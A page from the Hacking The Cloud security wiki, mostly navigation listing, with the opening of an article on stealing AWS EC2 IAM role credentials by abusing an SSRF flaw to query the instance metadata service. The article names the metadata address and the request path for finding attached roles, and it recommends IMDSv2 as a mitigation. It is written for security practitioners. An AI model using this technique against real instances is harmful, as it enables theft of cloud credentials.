href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#stealing-iam-credentials-from-the-instance-metadata-service class=md-nav__link> <span class=md-ellipsis> Stealing IAM Credentials from the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=#additional-resources class=md-nav__link> <span class=md-ellipsis> Additional Resources </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#stealing-iam-credentials-from-the-instance-metadata-service class=md-nav__link> <span class=md-ellipsis> Stealing IAM Credentials from the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=#additional-resources class=md-nav__link> <span class=md-ellipsis> Additional Resources </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/ec2-metadata-ssrf.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=steal-ec2-metadata-credentials-via-ssrf>Steal EC2 Metadata Credentials via SSRF<a class=headerlink href=#steal-ec2-metadata-credentials-via-ssrf title="Permanent link">&para;</a></h1> <div class="admonition note"> <p class=admonition-title>Note</p> <p>This is a common and well known attack in AWS environments. <a href=https://www.mandiant.com/ >Mandiant</a> has identified <a href=https://www.mandiant.com/resources/cloud-metadata-abuse-unc2903>attackers performing automated scanning of vulnerabilities</a> to harvest IAM credentials from publicly-facing web applications. To mitigate the risks of this for your organization, it would be beneficial to enforce <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html>IMDSv2</a> for all EC2 instances which has <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/#the-security-benefits-of-imdsv2>additional security benefits</a>. IMDSv2 would significantly reduce the risk of an adversary stealing IAM credentials via SSRF or XXE attacks.</p> </div> <p>One of the most common techniques in AWS exploitation is abusing the <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ >Instance Metadata Service</a> (IMDS) associated with a target EC2 instance.</p> <p>Most EC2 instances can access their IMDS at 169.254.169.254. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.</p> <p>If an EC2 instance has an IAM role attached to it, <a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >IAM credentials</a> associated with that role can be retrieved from the metadata service. Because of this, attackers will frequently target the IMDS to steal those credentials.</p> <h2 id=stealing-iam-credentials-from-the-instance-metadata-service>Stealing IAM Credentials from the Instance Metadata Service<a class=headerlink href=#stealing-iam-credentials-from-the-instance-metadata-service title="Permanent link">&para;</a></h2> <p>If the EC2 instance is configured to use the default <a href=https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/#how-to-access-the-metadata-service>instance metadata service version 1</a>, it is possible to steal IAM credentials from the instance without getting code execution on it.</p> <p>This can be done by abusing existing applications running on the host. By exploiting common vulnerabilities such as <a href=https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/ >server side request forgery</a> (SSRF) or <a href=https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing>XML external entity</a> (XXE) flaws, an adversary can coerce an application running on the host to retrieve those IAM credentials.</p> <p>To demonstrate this, in the following example there is a web server running on port 80 of the EC2 instance. This web server has a simple SSRF vulnerability, allowing us to make GET requests to arbitrary addresses. We can leverage this to make a request to <code>http://169.254.169.254</code>.</p> <figure> <p><a class=glightbox href=../../../images/aws/exploitation/ec2-metadata-ssrf/showing-ssrf.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Showing SSRF" loading=lazy src=../../../images/aws/exploitation/ec2-metadata-ssrf/showing-ssrf.png></a></p> </figure> <p>To determine if the EC2 instance has an IAM role associated with it, we can make a request to <code>http://169.254.169.254/latest/meta-data/iam/</code>. A 404 response indicates there is no IAM role associated. You may also get a 200 response that is empty, this indicates that there was an IAM Role however it has since been revoked.</p> 